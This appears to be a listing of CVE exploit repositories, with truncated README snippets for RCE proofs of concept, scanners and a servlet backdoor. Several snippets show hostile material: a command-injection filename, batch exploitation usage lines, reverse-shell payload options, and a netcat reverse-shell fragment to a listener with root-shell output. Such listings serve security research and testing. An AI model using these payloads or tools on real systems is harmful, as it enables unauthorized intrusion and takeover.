POC-CVE-2026-19679

CVE-2026-19679 — insufficient sanitization of uploaded filenames input validation Status: CONFIRMED on a 6.7.2-14.el9 lab 2026-08-20. POST /rest/auditFile with tailoringOriginalFilename = "poc;touch$IFSpoc19679;me.xml" returned HTTP 200 and registered AuditFile 1000002 — the shell-metachar filena...

CVE-2026-21962

CVE-2026-21962 CVE-2026-21962 EXAMPLE Single target python3 CVE-2026-21962.py http://target:7001 -c "whoami" Batch + default whoami python3 CVE-2026-21962.py -f url.txt Batch + custom command + change thread count python3 CVE-2026-21962.py -f url.txt -c "id" --threads 20 -o result.txt Reverse she...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE Authenticated RCE PoC for Flowise version &1|nc 10.10.15.200 443 /tmp/f' Check the listener and it should work: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off / whoami root...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE MCPJam Inspector -i -p -m Flag| Description| Default ---|---|--- -u| Target URL| required -i| Your listener IP LHOST| required -p| Your listener port LPORT| required -m| Payload method: busybox, bash, python3| busybox Reverse Shell Example Ste...

hfs-cve-2014-6287-exploit

HFS CVE-2014-6287 Exploit Tool Overview This repository contains a Python-based exploit tool designed to take advantage of the CVE-2014-6287 vulnerability in HTTP File Server HFS versions 2.3.x. This vulnerability allows an attacker to execute arbitrary commands on the server, potentially leading...

CVE-2026-39987

CVE-2026-39987 — Marimo Pre-Auth RCE For educational and authorized security research purposes only. Description Pre-authenticated Remote Code Execution in Marimo = 0.20.4. The WebSocket endpoint /terminal/ws skips authentication validation, allowing an unauthenticated attacker to obtain a full...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857 Gerapy command execution Disclaimer This script is for learning and reference only. Do not maliciously attack other people's websites. If you violate laws or regulations, all consequences shall be borne by the user. Technology is innocent and has nothing to do with t...

CVE-2020-24186

chmod +x CVE-2020-24186 ./CVE-2020-24186...

CVE-2025-69212-Exploit

CVE-2025-69212 - OpenSTAManager P7M Command Injection Exploit A fully automated exploit script for CVE-2025-69212 , a command injection vulnerability in OpenSTAManager. This script authenticates with admin credentials, deploys a malicious PHP web shell via a crafted P7M file in a ZIP archive, and...

React2Shell

⚛️ React2Shell CVE-2025-55182 Advanced Exploitation Toolkit for Next.js Server Actions CVE-2025-55182. React2Shell is a powerful, interactive shell wrapper designed to exploit the React2Shell vulnerability. It goes beyond simple RCE by providing command history, file transfer capabilities, and...

CVE-2017-16997-poc

Usage Run ./CVE-2017-16997.sh . If run as non-root user, make sure you can elevate to root via sudo. Details 1. https://nvd.nist.gov/vuln/detail/CVE-2017-16997...

tscan

Telnetd Auth Bypass Scanner CVE-2026-24061 A Python-based scanner for detecting and exploiting the CVE-2026-24061 vulnerability in GNU Inetutils telnetd services. This tool scans IP addresses or networks for vulnerable telnetd services that allow authentication bypass leading to root shell access...

CVE-2026-52617

CVE-2026-52617 — @sworddut/mcp-ffmpeg-helper: OS command injection via ffmpeg tool options runFFmpegCommand passes a string built from MCP tool parameters to spawn…, shell: true , so shell metacharacters in options, format, codec, pixelFormat or extraOptions execute on the host running the server...

CVE-2023-20052

CVE-2023-20052 Exploit Functional, self-developed Proof-of-Concept PoC exploit for CVE-2023-20052 , a vulnerability in ClamAV versions = 1.0.0, = 0.105.1, and = 0.103.7 enabling arbitrary file read via XML Entity Expansion XXE during DMG file parsing. This repository provides an original,...

Java-Servlets-Shell

Java Servlets Shell Java Servlets Backdoor inspired by https://www.redteam-pentesting.de/files/redteam-jboss.tar.gz Note : The WARs contain compiled Java code instead of JSP pages in order to be used in environments that block or do not compile JSP files...

CVE-2026-4747

/ /\ \ / / | | \ / \ \ \ \ | || | || || \ | | \ \ / /| | | | | | | \ \ | | / /| || | | | | \ V / | ||| / /| || / / \ \ | || | / / | |/ / | / | ||/| \ / // |||| CVE-2026-4747 — FreeBSD Remote Kernel RCE Stack Buffer Overflow inkgssapi.ko → Root Shell in 4 hours "The first remote kernel RCE...

meltdown-aws-scanner

meltdown-aws-scanner Naive shell script to verify Meltdown CVE-2017-5754 patch status of EC2 instances Requirements aws cli with working configuration Using the script Scan all EC2 instances in default account and region $ ./checkmeltdown.sh | tee $date '+%Y-%m-%d'.csv Scan a subset of EC2...

React2shell-CVE-2025-55182-Exploit

This repository does not have a README...

cve-2021-4034

cve-2021-4034 Easy to use shell implementation of CVE-2021-4034 that was released yesterday. The original C code was sourced from https://github.com/arthepsy/CVE-2021-4034...

CVE-2026-53365

CVE-2026-53365 Donate Support the maintenance of this project with PayPal or by scanning the QR code below. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments...